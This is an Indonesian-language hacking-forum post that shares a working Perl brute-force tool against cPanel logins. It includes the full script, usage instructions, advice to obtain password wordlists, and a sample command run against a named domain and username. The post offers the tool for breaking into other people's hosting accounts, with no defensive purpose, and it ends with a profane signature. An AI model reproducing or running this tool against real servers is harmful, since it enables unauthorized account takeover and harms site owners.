10-19-2011, 11:14 AM
Halo Semua ! Bertemu Lagi Dengan NoseTrave Yang Paling Ganteng Se Forum! (Hah Zee? Siapatuh? Masih Gantengan Gua Kali) lol,
Kali Ini Aku Mau Share Tentang Tool Yang Satu Ini
Langsung Aja Surge Nya
Simpan Dengan nama cpanel.pl
Cara Pakainya Sederhana:
Pengertian: -Host: Website Cpanel Yang Menjadi Target.
-User: username Nya!
-Port Cpanelnya (Biasanya 2082)
-List: Password list Ente (Yang Belum Punya Download Di IBT ato Google)
-File: File Untuk Menempatkan Hasil
Nah Ini Contoh Live Nya:
Sekian Dari NoseTrave!
Sangat Butuh Ijo-Ijo! (Buat Menangin Hosting)
Maaf Kalo Ada Salah Salah Kata!, Akhir Kata Terimakasih
Kali Ini Aku Mau Share Tentang Tool Yang Satu Ini
Langsung Aja Surge Nya
PHP Code:
#!/usr/bin/perl
# Cpanel Password Brute Forcer
# ----------------------------
# (c)oded By Hessam-x
# Perl Version ( low speed )
# Oerginal Advisory :
# http://www.simorgh-ev.com/advisory/2006/cpanel-bruteforce-vule/
use IO::Socket;
use LWP::Simple;
use MIME::Base64;
$host = $ARGV[0];
$user = $ARGV[1];
$port = $ARGV[2];
$list = $ARGV[3];
$file = $ARGV[4];
$url = "http://".$host.":".$port;
if(@ARGV < 3){
print q(
################################################## #############
# Cpanel Password Brute Force Tool #
################################################## #############
# usage : cpanel.pl [HOST] [User] [PORT][list] [File] #
#-------------------------------------------------------------#
# [Host] : victim Host (simorgh-ev.com) #
# [User] : User Name (demo) #
# [PORT] : Port of Cpanel (2082) #
#[list] : File Of password list (list.txt) #
# [File] : file for save password (password.txt) #
# #
################################################## #############
# (c)oded By Hessam-x / simorgh-ev.com #
################################################## #############
);exit;}
headx();
$numstart = "-1";
sub headx() {
print q(
################################################## #############
# Cpanel Password Brute Force Tool #
# (c)oded By Hessam-x / simorgh-ev.com #
################################################## #############
);
open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
@PASSWORDS = <PASSFILE>;
close PASSFILE;
foreach my $P (@PASSWORDS) {
chomp $P;
$passwd = $P;
print "
[~] Try Password : $passwd
";
&brut;
};
}
sub brut() {
$authx = encode_base64($user.":".$passwd);
print $authx;
my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "
[-] Can not connect to the host";
print $sock "GET / HTTP/1.1
";
print $sock "Authorization: Basic $authx
";
print $sock "Connection: Close
";
read $sock, $answer, 128;
close($sock);
if ($answer =~ /Moved/) {
print "
[~] PASSWORD FOUND : $passwd
";
exit();
}
}
Cara Pakainya Sederhana:
PHP Code:
perl cpanel.pl [HOST] [User] [PORT] [list] [File]
-User: username Nya!
-Port Cpanelnya (Biasanya 2082)
-List: Password list Ente (Yang Belum Punya Download Di IBT ato Google)
-File: File Untuk Menempatkan Hasil
Nah Ini Contoh Live Nya:
PHP Code:
root@Anarc0de:~# perl cpanel.pl thehopebuster.us ares 2082 /root/Desktop/dictionary.txt /root/Desktop/password.txt
Sekian Dari NoseTrave!
Sangat Butuh Ijo-Ijo! (Buat Menangin Hosting)
Maaf Kalo Ada Salah Salah Kata!, Akhir Kata Terimakasih
root@nosetrave:~# ./plagiat.sh
English motherfucker, do you speak it ?
root@nosetrave:~#
English motherfucker, do you speak it ?
root@nosetrave:~#